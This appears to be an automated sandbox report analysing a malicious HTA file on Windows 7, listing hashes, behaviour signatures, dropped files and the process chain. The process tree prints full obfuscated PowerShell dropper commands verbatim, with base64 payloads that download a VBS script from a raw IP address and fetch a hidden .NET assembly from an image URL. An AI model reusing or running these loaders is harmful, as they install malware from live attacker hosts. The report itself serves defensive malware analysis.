Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    11-12-2024 07:27

General

  • Target

    nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta

  • Size

    81KB

  • MD5

    76277ab4bde108fed474724b88ad0e39

  • SHA1

    f73ba378275e5bc2492e53b63c96c22f35599ffc

  • SHA256

    62db7e02b51b89f767c5740bb8569668ddcf134b2865959d9fc7a749209d0539

  • SHA512

    7a914101c566fcf41b596ceafdde08674a979c9c20731d2e9a1dd0d58cf360204bca82b4680faa684806a5e7e4e88f285cb63bf414fd613878f7281cf60fc5a1

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHAbvOx7ze2pe2Ju2x4/mlpu6ae28RWHTuQBwxW:tD

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PowersHELl.eXE -EX ByPaSs -nop -W 1 -c deviCEcREdENTiaLDepLOYMent.eXE ; InVOkE-ExpRESsIOn($(InVoKE-EXpreSSiOn('[SysTEM.tEXt.ENcOdIng]'+[chaR]58+[ChAr]58+'uTf8.GETsTrInG([sysTEm.cOnVERt]'+[cHar]58+[char]0X3a+'FRoMBAse64StRinG('+[chAR]0x22+'JDZMOGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSRGVGSW5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3NoV2VtdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWVreVNwR3BtSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2JkU3pCT3AsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsWmZpS2tRbmFKcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRmY2pmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJYb0UiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUxxaHlmQUsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNkw4bDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS84MDgvdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdob2lub25saW5ld2l0aC50SUYiLCIkRU52OkFQUERBVEFcdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdoby52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7aU52b2tlLWV4cHJFc1Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlbnY6QVBQREFUQVx2ZXJ5bmljZWNyZWFteWNoaWNrZW5mdm91cmF0ZWRpc2hlc2ZvcmV2ZXJ5b25ld2hvLnZiUyI='+[CHaR]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1032
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowersHELl.eXE -EX ByPaSs -nop -W 1 -c deviCEcREdENTiaLDepLOYMent.eXE ; InVOkE-ExpRESsIOn($(InVoKE-EXpreSSiOn('[SysTEM.tEXt.ENcOdIng]'+[chaR]58+[ChAr]58+'uTf8.GETsTrInG([sysTEm.cOnVERt]'+[cHar]58+[char]0X3a+'FRoMBAse64StRinG('+[chAR]0x22+'JDZMOGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSRGVGSW5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3NoV2VtdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWVreVNwR3BtSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2JkU3pCT3AsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsWmZpS2tRbmFKcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRmY2pmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJYb0UiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUxxaHlmQUsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNkw4bDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS84MDgvdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdob2lub25saW5ld2l0aC50SUYiLCIkRU52OkFQUERBVEFcdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdoby52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7aU52b2tlLWV4cHJFc1Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlbnY6QVBQREFUQVx2ZXJ5bmljZWNyZWFteWNoaWNrZW5mdm91cmF0ZWRpc2hlc2ZvcmV2ZXJ5b25ld2hvLnZiUyI='+[CHaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yw-xtffc.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2184
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB5AA.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB5A9.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:536
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\verynicecreamychickenfvouratedishesforeveryonewho.vbS"
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2964
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $midroll = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHRlcnJpZnlpbmduZXNzID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGRvbG91cnMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRtZWNvcHRlcmFucyA9ICRkb2xvdXJzLkRvd25sb2FkRGF0YSgkdGVycmlmeWluZ25lc3MpOyRub3NleSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRtZWNvcHRlcmFucyk7JG1pY3JvZmljaGUgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JHNlbGVjdGl2ZWx5ID0gJzw8QkFTRTY0X0VORD4+JzskaXNvZXVnZW5vbCA9ICRub3NleS5JbmRleE9mKCRtaWNyb2ZpY2hlKTskd3JlYWtzID0gJG5vc2V5LkluZGV4T2YoJHNlbGVjdGl2ZWx5KTskaXNvZXVnZW5vbCAtZ2UgMCAtYW5kICR3cmVha3MgLWd0ICRpc29ldWdlbm9sOyRpc29ldWdlbm9sICs9ICRtaWNyb2ZpY2hlLkxlbmd0aDskcG9zdGVyaXNlZCA9ICR3cmVha3MgLSAkaXNvZXVnZW5vbDskZW52aWUgPSAkbm9zZXkuU3Vic3RyaW5nKCRpc29ldWdlbm9sLCAkcG9zdGVyaXNlZCk7JGhlcm1zID0gLWpvaW4gKCRlbnZpZS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZW52aWUuTGVuZ3RoKV07JGFtYmlnZW5hbCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhlcm1zKTskc3RlcmlsaXR5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYW1iaWdlbmFsKTskdm9ldGdhbmdlciA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyR2b2V0Z2FuZ2VyLkludm9rZSgkbnVsbCwgQCgnMC9rZTQ0MC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnYWRkb29tJywgJ2FkZG9vbScsICdhZGRvb20nLCAnQWRkSW5Qcm9jZXNzMzInLCAnYWRkb29tJywgJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJzEnLCdhZGRvb20nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$Angel = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($midroll));Invoke-Expression $Angel
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabD6EE.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESB5AA.tmp

    Filesize

    1KB

    MD5

    5c7436506920bd39f19d6390e52011f5

    SHA1

    75591cfec1eff0107ce458a362419da1b7919936

    SHA256

    e849e61ad8d072d6031ba10110b4cf5cb5edb1cb987bbc30eda1fd7508917a5a

    SHA512

    ac66bc868f95e6609f8732134c310b704643567e9f141a6a73cb2f53771188150848e63a869a620990b29c298da1377b18be458ced92969f24dbb5b5dc6aad12

  • C:\Users\Admin\AppData\Local\Temp\TarD7BC.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\yw-xtffc.dll

    Filesize

    3KB

    MD5

    eaf1644271c43bed6369e416cf27bd82

    SHA1

    2489aee520156953ed7fd676d90da01c504c3555

    SHA256

    07f73a54d5c325972127004ddc979600cef93424cb2199833c861552216a17d2

    SHA512

    918066b4cdac81be5f0dd88f0cada27d7fbc0bfba5aa3c700b31d9648edd9e16d5caf5e35557bb90f5c56646f7083a42fae0f0fb9c7f7d83a8f81a1e9bbaa31b

  • C:\Users\Admin\AppData\Local\Temp\yw-xtffc.pdb

    Filesize

    7KB

    MD5

    03dfca771018d88495888ce3d7ceff17

    SHA1

    c0c842a891b76fd96c12be10ad02a3f7e1279da8

    SHA256

    727f8364a8fa7501f2c9f7900dddf0a5215202848332816f35d6564d4526442a

    SHA512

    48c7631045752ac883578bcc03aa212aba45741f26eb1f427bdbd99292413b2b6483b817e4d97ab002129428855f6f04e252f2d44177772ea2dc9a43a760ca3b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    878865eda39deb6c0a57f5bce4ba13bc

    SHA1

    04e43dc33cbba116d599e362c6f3428ed98c6734

    SHA256

    3feccfeb4e3243a63b9377a80ada141c08ed1203e00f95f762780e8366b117fe

    SHA512

    8cab4b1e969fbcc17581f0c29f348c1347f3a4522cc69ec0ccecafd9fa67817d48c5cf8cdc71a9f4a0d873971b2b82356d3e79a4d8f220810e98387f3b465e09

  • C:\Users\Admin\AppData\Roaming\verynicecreamychickenfvouratedishesforeveryonewho.vbS

    Filesize

    1KB

    MD5

    a9de1dd61052fb7164600306135b0771

    SHA1

    4efefaf03b42637e74817b4695fc086b2d95191e

    SHA256

    bfbe88f62a33e1cd2289a9179dfe2151c9427c0ccd13753a029c3dcb78852fae

    SHA512

    9ce749ff8b7bb054b827534afbd900a44e6aa03e8818d4cf9121cc9e8448ebc0a21ce641e6db4d0824c14806cd34f8fee301a523c338526cb9c5757e1547f6bd

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCB5A9.tmp

    Filesize

    652B

    MD5

    33127b61a2a4eca5fdf06bdea47756d2

    SHA1

    3d07d3ac005e50567ca00437f322a7adcd13edc3

    SHA256

    f498fc7af446522d2121590dc08d76308d03457527776bed53a447200c1efbd4

    SHA512

    d573be96516d9264be5ea791a6f567e8e3d6ccfca4f284ede7518ea08997416e04ef6f3cf74bd8a550379aa17fb254bcba9ac90814835e10d045335bf0791f12

  • \??\c:\Users\Admin\AppData\Local\Temp\yw-xtffc.0.cs

    Filesize

    496B

    MD5

    ee707a34980a4df56a07be04f7825b38

    SHA1

    65ce7b9161c445f33f2f28dc13c92872c209e83a

    SHA256

    fe3dc6c711ddb4c32c5ff8b18b557804d3180005bfa99a8dc02b945d70ea5cbc

    SHA512

    1fb569ac9eaca82c89cb3ed59bffe339fe579a62668ed4899d234ab64a4b08ead39c088db17d3745eb16b7f3428b6ed7eb664ed13f90b21d00759158a40f9cd5

  • \??\c:\Users\Admin\AppData\Local\Temp\yw-xtffc.cmdline

    Filesize

    309B

    MD5

    7b56c6b3f5dbc6bf5dff51e95c15e286

    SHA1

    38135e7df21b235e8fb2dafd8344c902947e2459

    SHA256

    dd850cade080a3c40aad4a6fc348d0ee28112523f9eb1b2c99a418b8d5de5034

    SHA512

    554fa5236a3f8b8a641bf95b0ff843836141a85dc84811dc6d0961c78497ed25d5e79523d8fad1096264455c50cf1fe26ccc2f7a535d7d75f83f7f9a7ab954f6